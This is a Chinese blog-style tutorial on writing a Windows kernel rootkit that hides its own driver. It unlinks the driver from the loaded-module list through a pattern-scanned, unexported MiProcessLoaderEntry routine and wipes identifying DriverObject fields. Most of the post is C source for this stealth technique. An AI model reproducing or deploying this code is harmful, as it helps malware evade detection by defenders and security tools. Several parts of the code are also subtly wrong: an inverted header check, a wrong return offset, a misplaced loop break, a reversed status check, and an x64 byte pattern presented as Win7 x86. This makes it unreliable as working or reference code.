简易R0层的驱动隐藏技术

简易R0层的驱动隐藏技术

第一次写rootkit驱动,思路来自于猪会被杀掉大佬(https://blog.csdn.net/zhuhuibeishadiao/article/details/75658816),核心代码分成两部分,一部分主要是实现驱动装载时,在把驱动的相关信息写入内核模块链表时摘除,使用MiRrocessLoaderEntry这个未公开的API(主要难点就在获取他的地址,没法使用MmGetSystemRoutineAddress),第二部分主要就是抹除分配的driverObject的一些特征(比如DriverUnload之类的,需要设置为Null)。
这里想要获得地址主要采用去ntos中遍历的方式找到他,那么首先,我们需要获得ntos在内存中加载的基址

PVOID  UtilKernelBase(OUT PULONG pSize) {
    //因为要获得的链表的是在ntos里的,所以需要我们去ntos中遍历他们
    NTSTATUS status;
    ULONG bytes = 0;
    PRTL_PROCESS_MODULES pMods = 0;
    PVOID checkPtr = 0;
    UNICODE_STRING routineName;//这里随机选择一个ntos里的导出函数即可

    if (g_KernelBase != 0) {
        if (pSize) {
            *pSize = (ULONG)g_KernelBase;
            return g_KernelBase;
        }
    }
    RtlInitUnicodeString(&routineName, L"NtCreateFile");
    checkPtr = MmGetSystemRoutineAddress(&routineName);//去寻找这个导出函数在内存中的地址
    if (checkPtr == 0) {
        return 0;
    }
    __try {
        status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes);//获得SystemInformation这个重要结构体
        if (bytes == 0) {
            DbgPrint("Invalid SystemModuleInformation size\n");
            return 0;
        }
        pMods = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPoolNx, bytes, HB_POOL_TAG);
        RtlZeroMemory(pMods, bytes);//释放空间

        status = ZwQuerySystemInformation(SystemModuleInformation, pMods, bytes, &bytes);//查询系统信息可以获取到进程列表,遍历每一个进程
        if (NT_SUCCESS(status)) {
            PRTL_PROCESS_MODULE_INFORMATION  pMod = pMods->Modules;//这个结构体中保存了进程的很多信息,包括节区和基址
            for (ULONG i = 0; i < pMods->NumberOfModules; i++) {
                if (checkPtr >= pMod[i].ImageBase&&checkPtr < (PVOID)((PUCHAR)pMod[i].ImageBase + pMod[i].ImageSize)) {//遍历进程中每一个进程的基址
                    g_KernelBase = pMod[i].ImageBase;//获得每一个进程的基址,判断刚刚的那个函数是否在刚刚遍历到的进程的地址范围之中
                    g_KernelSize = pMod[i].ImageSize;
                }
                if (pSize)
                    *pSize = g_KernelSize;
                break;
            }
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        DbgPrint("search error2\n");
        return (PVOID)STATUS_UNHANDLED_EXCEPTION;
    }
    return (PVOID)STATUS_NOT_FOUND;

}//获得ntos这个模块在内存中加载的地址

主要还是通过ntos的导出函数去获得SystemModuleInformation,从而得到进程列表,判断你选择的导出函数地址是否在你获得的范围之中,知道ntos基址后,就可以进行下一步搜索,去ntos里根据这个函数的特诊去Section里搜索,并找出他的内存管地址并保存,方便调用,ok,上windbg保存下这个函数的特征(我的为win7 x86)

然后在内存里搜索时就可以根据这些特征去搜索

NTSTATUS UtilSearchPattern(IN PCUCHAR pattern, IN UCHAR wildcard, IN ULONG_PTR len, IN const VOID* base, IN ULONG_PTR size, OUT PVOID* ppFound) {
    //这个函数是根据传入的特征字符串去搜索
    NT_ASSERT(ppFound != 0 && pattern != 0 && base != 0);
    if (ppFound == 0 || pattern == 0 || base == 0) {
        return STATUS_INVALID_PARAMETER;
    }
    __try {
        for (ULONG_PTR i = 0; i < size - len; i++) {
            BOOLEAN found = TRUE;
            for (ULONG_PTR j = 0; j < len; j++) {
                if (pattern[j] != wildcard && pattern[j] != ((PCUCHAR)base)[i + j]) {//根据传入的特征串指针找到目标函数地址
                    DbgPrint("search error1\n");
                    found = FALSE;
                    break;
                }
            }
            if (found != FALSE) {
                *ppFound = (PUCHAR)base + 1;
                DbgPrint("find addr:%p\n",(PUCHAR)base+1);
                return STATUS_SUCCESS;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DbgPrint("search error2\n");
        return STATUS_UNHANDLED_EXCEPTION;
    }
}

NTSTATUS UtilScanSection(IN PCCHAR section, IN PCUCHAR pattern, IN UCHAR wildcard, IN ULONG_PTR len, OUT PVOID* ppFound) {
    //这个函数是对节区的扫描
    NT_ASSERT(ppFound != 0);
    if (ppFound == 0)
        return STATUS_INVALID_PARAMETER;
    PVOID base = UtilKernelBase(0);
    if (!base)
        return STATUS_NOT_FOUND;

    PIMAGE_NT_HEADERS64 pHdr =(PIMAGE_NT_HEADERS64)RtlImageNtHeader(base);
    //根据之前寻到的基址去解析这个ntos的pe文件结构以及导出函数
    if (pHdr)
        return STATUS_INVALID_IMAGE_FORMAT;
    //通过pe头获得节区的数目和每个节区
    PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)(pHdr + 1);
    for (PIMAGE_SECTION_HEADER pSection = pFirstSection; pSection < pFirstSection + pHdr->FileHeader.NumberOfSections; pSection++) {
        ANSI_STRING s1, s2;
        RtlInitAnsiString(&s1, section);
        RtlInitAnsiString(&s2, (PCCHAR)pSection->Name);//通过的是对比节区名字
        if (RtlCompareString(&s1, &s2, TRUE) == 0) {
            return UtilSearchPattern(pattern, wildcard, len, (PUCHAR)base + pSection->VirtualAddress, pSection->Misc.VirtualSize, ppFound);
        }//找到对应的节区之后,在节区里爆搜
        return STATUS_NOT_FOUND;
    }
}

ok,现在需要的搜索函数已经全了,只要综合调用下就ok了,并且在执行摘链过程之后需要抹除driver的一些特征哈

VOID _fastcall HideDriver(PVOID x) {
    PMiProcessLoaderEntry m_MiRrocessLoaderEntry = NULL;
    PDRIVER_OBJECT driver = (PDRIVER_OBJECT)x;

    LARGE_INTEGER SleepTime;//一般也只有时间会用到长整型
    SleepTime.QuadPart = -20000;
    while (1) {
        if (TempFlags)
            break;
        KeDelayExecutionThread(KernelMode, 0, &SleepTime);//延迟执行防止出现操作系统的阻塞
    }
    KeDelayExecutionThread(KernelMode, 0, &SleepTime);

    CHAR pattern[] = "\x48\x89\x5c\x24\x08\x48\x89\x6c\x24\x18\x48\x89\x74\x24\x20\x57\x41\x54\x41\x55\x41\x56\x57\x48\x83\xec\x30\x30\x48\x8b\xf9\x44\x8b\xf2";
    int sz = sizeof(pattern) - 1;//减一是因为有个'\0'
    DbgPrint("sz:%d\n", sz);

    //执行搜索 操作,唯一的目的是把那个未导出函数的地址获得
    UtilScanSection(".text", (PCUCHAR)pattern, 0xCC, sz, (PVOID *)&MiProcessLoaderEntry1);
    DbgPrint("%p\n", MiProcessLoaderEntry1);

    m_MiRrocessLoaderEntry = (PMiProcessLoaderEntry)MiProcessLoaderEntry1;
    m_MiRrocessLoaderEntry((PKLDR_DATA_TABLE_ENTRY)driver->DriverSection, 0);
    //在执行了摘链操作后,只需要进行一系列的特征抹除(此操作必须写在多线程里),否则可能未执行特征已被抹除从而导致
    driver->DriverSection = NULL;
    driver->DriverStart = NULL;
    driver->DriverSize = NULL;
    driver->DriverUnload = NULL;
    PsTerminateSystemThread(STATUS_SUCCESS);
}

最后就是创建DriverEntry以及调用啦~(不写在多线程里真的会蓝屏哦),这里需要导入的有SystemModuleInformation这个结构,还有必要的一些PE结构(解析文件时使用),都写在头文件里辣,太长了就不贴,当然还有最重要的MiProcessLoaderEntry这个函数的调用原型

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
    driver->DriverUnload =(PDRIVER_UNLOAD) UnLoad;
    HANDLE hThread;
    NTSTATUS status = PsCreateSystemThread(&hThread, 0, NULL, NULL, NULL, (PKSTART_ROUTINE)HideDriver, (PVOID)driver);
    if (NT_SUCCESS(status)) {
        DbgPrint("创建线程失败\n");
    }
    ZwClose(hThread);
    TempFlags = TRUE;
    return STATUS_SUCCESS;
}

不过这个方法被空开之后一般的ARK工具应该已经做出了相应的对策,所以感觉也只能过老版本的xuetr了